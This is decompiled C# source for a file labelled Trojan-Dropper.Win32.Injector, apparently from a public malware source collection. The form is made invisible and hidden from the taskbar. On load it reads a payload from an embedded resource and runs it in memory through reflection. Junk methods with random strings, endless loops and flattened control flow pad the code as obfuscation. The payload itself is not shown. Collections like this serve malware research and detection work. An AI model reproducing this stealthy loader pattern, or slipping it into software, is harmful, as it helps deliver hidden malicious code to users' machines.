MalwareSourceCode/MSIL/Trojan-Dropper/Win32/I/Trojan-Dropper.Win32.Injector.dblt-af55934a52bc3f3a0e8f089418470c5166ba3c5c30f4e4791b66a21fff96e8cf/Form1.cs
2022-08-18 06:28:56 -05:00

291 lines
8.6 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: _2012_D.Form1
// Assembly: 2012, Version=0.0.0.0, Culture=neutral
// MVID: FA8E4D06-4395-4F05-87C3-C4C0E16B54D3
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.dblt-af55934a52bc3f3a0e8f089418470c5166ba3c5c30f4e4791b66a21fff96e8cf.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
namespace _2012_D
{
[DesignerGenerated]
public class Form1 : Form
{
private IContainer components;
[AccessedThroughProperty("Button1")]
private Button _Button1;
[AccessedThroughProperty("CheckBox1")]
private CheckBox _CheckBox1;
[AccessedThroughProperty("Label1")]
private Label _Label1;
[AccessedThroughProperty("RadioButton1")]
private RadioButton _RadioButton1;
[AccessedThroughProperty("PictureBox1")]
private PictureBox _PictureBox1;
public Form1()
{
this.Load += new EventHandler(this.Form1_Load);
this.InitializeComponent();
}
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
try
{
if (!disposing || this.components == null)
return;
this.components.Dispose();
}
finally
{
base.Dispose(disposing);
}
}
[DebuggerStepThrough]
private void InitializeComponent()
{
label_2:
int num = 3;
Point point1;
Size size1;
while (true)
{
switch (num)
{
case 0:
this.CheckBox1.AutoSize = true;
CheckBox checkBox1_1 = this.CheckBox1;
point1 = new Point(25, 61);
Point point2 = point1;
checkBox1_1.Location = point2;
this.CheckBox1.Name = "CheckBox1";
CheckBox checkBox1_2 = this.CheckBox1;
size1 = new Size(81, 17);
Size size2 = size1;
checkBox1_2.Size = size2;
this.CheckBox1.TabIndex = 1;
this.CheckBox1.Text = "CheckBox1";
this.CheckBox1.UseVisualStyleBackColor = true;
this.Label1.AutoSize = true;
Label label1_1 = this.Label1;
point1 = new Point(25, 88);
Point point3 = point1;
label1_1.Location = point3;
this.Label1.Name = "Label1";
Label label1_2 = this.Label1;
size1 = new Size(39, 13);
Size size3 = size1;
label1_2.Size = size3;
this.Label1.TabIndex = 2;
this.Label1.Text = "Label1";
num = 2;
continue;
case 1:
goto label_7;
case 2:
this.RadioButton1.AutoSize = true;
RadioButton radioButton1_1 = this.RadioButton1;
point1 = new Point(28, 113);
Point point4 = point1;
radioButton1_1.Location = point4;
this.RadioButton1.Name = "RadioButton1";
RadioButton radioButton1_2 = this.RadioButton1;
size1 = new Size(90, 17);
Size size4 = size1;
radioButton1_2.Size = size4;
this.RadioButton1.TabIndex = 3;
this.RadioButton1.TabStop = true;
this.RadioButton1.Text = "RadioButton1";
this.RadioButton1.UseVisualStyleBackColor = true;
PictureBox pictureBox1_1 = this.PictureBox1;
point1 = new Point(113, 46);
Point point5 = point1;
pictureBox1_1.Location = point5;
this.PictureBox1.Name = "PictureBox1";
PictureBox pictureBox1_2 = this.PictureBox1;
size1 = new Size(30, 50);
Size size5 = size1;
pictureBox1_2.Size = size5;
this.PictureBox1.TabIndex = 4;
this.PictureBox1.TabStop = false;
if (true)
{
num = 1;
continue;
}
goto case 0;
case 3:
this.Button1 = new Button();
this.CheckBox1 = new CheckBox();
this.Label1 = new Label();
this.RadioButton1 = new RadioButton();
this.PictureBox1 = new PictureBox();
((ISupportInitialize) this.PictureBox1).BeginInit();
this.SuspendLayout();
Button button1_1 = this.Button1;
point1 = new Point(25, 22);
Point point6 = point1;
button1_1.Location = point6;
this.Button1.Name = "Button1";
Button button1_2 = this.Button1;
size1 = new Size(75, 23);
Size size6 = size1;
button1_2.Size = size6;
this.Button1.TabIndex = 0;
this.Button1.Text = "Button1";
this.Button1.UseVisualStyleBackColor = true;
num = 0;
continue;
default:
goto label_2;
}
}
label_7:
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
size1 = new Size(155, 138);
this.ClientSize = size1;
this.Controls.Add((Control) this.PictureBox1);
this.Controls.Add((Control) this.RadioButton1);
this.Controls.Add((Control) this.Label1);
this.Controls.Add((Control) this.CheckBox1);
this.Controls.Add((Control) this.Button1);
this.Name = nameof (Form1);
this.Opacity = 0.0;
this.ShowIcon = false;
this.ShowInTaskbar = false;
((ISupportInitialize) this.PictureBox1).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
internal virtual Button Button1
{
get => this._Button1;
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Button1 = value;
}
internal virtual CheckBox CheckBox1
{
get => this._CheckBox1;
[MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox1 = value;
}
internal virtual Label Label1
{
get => this._Label1;
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
}
internal virtual RadioButton RadioButton1
{
get => this._RadioButton1;
[MethodImpl(MethodImplOptions.Synchronized)] set => this._RadioButton1 = value;
}
internal virtual PictureBox PictureBox1
{
get => this._PictureBox1;
[MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value;
}
private object HIyl7gY2uAFg65()
{
double num = 822.0;
bool flag = false;
try
{
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
while (true)
{
flag = true;
num = 15.0;
}
}
return (object) 75254250;
}
private void Form1_Load(object sender, EventArgs e) => this.pleple();
public void VGUe8wq3d2B199unLsG4hS()
{
bool flag1 = true;
string str = "#LiDp6T_@x6Z‡lE„015Ej„p„ˆ…l‰F<ƒj@;vA!l}ebAx146\u0090]?";
double num1 = 41.0;
bool flag2 = false;
try
{
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
flag2 = false;
flag2 = false;
double num2 = 31228811.0;
str = "lu975wea79B7r5570A4J9VISgq3PtH349KMIkH1hgRAI5dYnS1R9EHzjW7Dw8l9OMFKXdv7813RZCJGEPX4S8Do18t";
int num3 = 939971;
while (num3 <= 114)
checked { ++num3; }
str = "JVV249ch5AK0eUKdOxIeFM9S5WIAbX0450rN18ISI7sSKESbUcAEm9m244FEe2wg8k20TX0Sbs804wV6R";
num2 = 6330.0;
while (true)
{
flag1 = false;
num1 = 25.0;
}
}
public void pleple()
{
Assembly assembly = Assembly.Load(_2012_D.My.Resources.Resources.Function_1);
object[] args = new object[0];
assembly.GetType("Fun.Usin20").InvokeMember("main", BindingFlags.InvokeMethod, (Binder) null, (object) null, args);
}
private object wMm71r()
{
label_2:
int num1 = 3;
while (true)
{
switch (num1)
{
case 0:
int num2 = (int) MessageBox.Show("iMa;KH|Ua|riXƒ@Š~z+sNP<fX4:%GYVMJŽ-P#L!LnaX,yjngg\u0090Y‰1;…4aP9B<;-‡‡\u0081‡Qyr$€0€€Xf%s\\f‡T\u008F\u008FR{Y€}>G5ƒ]]yr1s^)z„18€M$nŽJYyhGl");
num1 = 2;
continue;
case 1:
goto case 2;
case 2:
if (true)
{
num1 = 1;
continue;
}
goto case 0;
case 3:
num1 = 0;
continue;
default:
goto label_2;
}
}
}
}
}